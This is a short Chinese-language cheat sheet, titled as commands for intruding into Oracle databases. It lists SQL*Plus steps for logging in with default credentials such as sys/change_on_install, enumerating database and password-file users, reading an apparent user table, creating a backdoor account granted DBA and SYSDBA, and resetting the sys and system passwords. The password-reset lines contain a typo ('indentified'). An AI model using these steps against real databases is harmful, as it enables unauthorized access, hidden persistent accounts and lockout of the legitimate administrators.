入侵Oracle数据库时常用的操作命令整理

SQL>connect / as sysdba ;（as sysoper）或 

connect internal/oracle AS SYSDBA ;(scott/tiger) 

conn sys/change_on_install as sysdba;

select * from v$database; 

select name from v$database; 

desc v$databases; 查看数据库结构字段

SQL>select * from V_$PWFILE_USERS; 

Show user;查看当前数据库连接用户

SQL> select TABLE_NAME from all_tables; 

select * from all_tables; 

SQL> select table_name from all_tables where table_name like '%u%'; 


TABLE_NAME 

------------------------------ 

_default_auditing_options_

select * from CQI.T_BBS_XUSER;

create user test11 identified by test default 
tablespace users Temporary TABLESPACE Temp;

grant connect,resource,dba to test11; 

grant sysdba to test11; 

commit;

alter user sys indentified by test; 

alter user system indentified by test;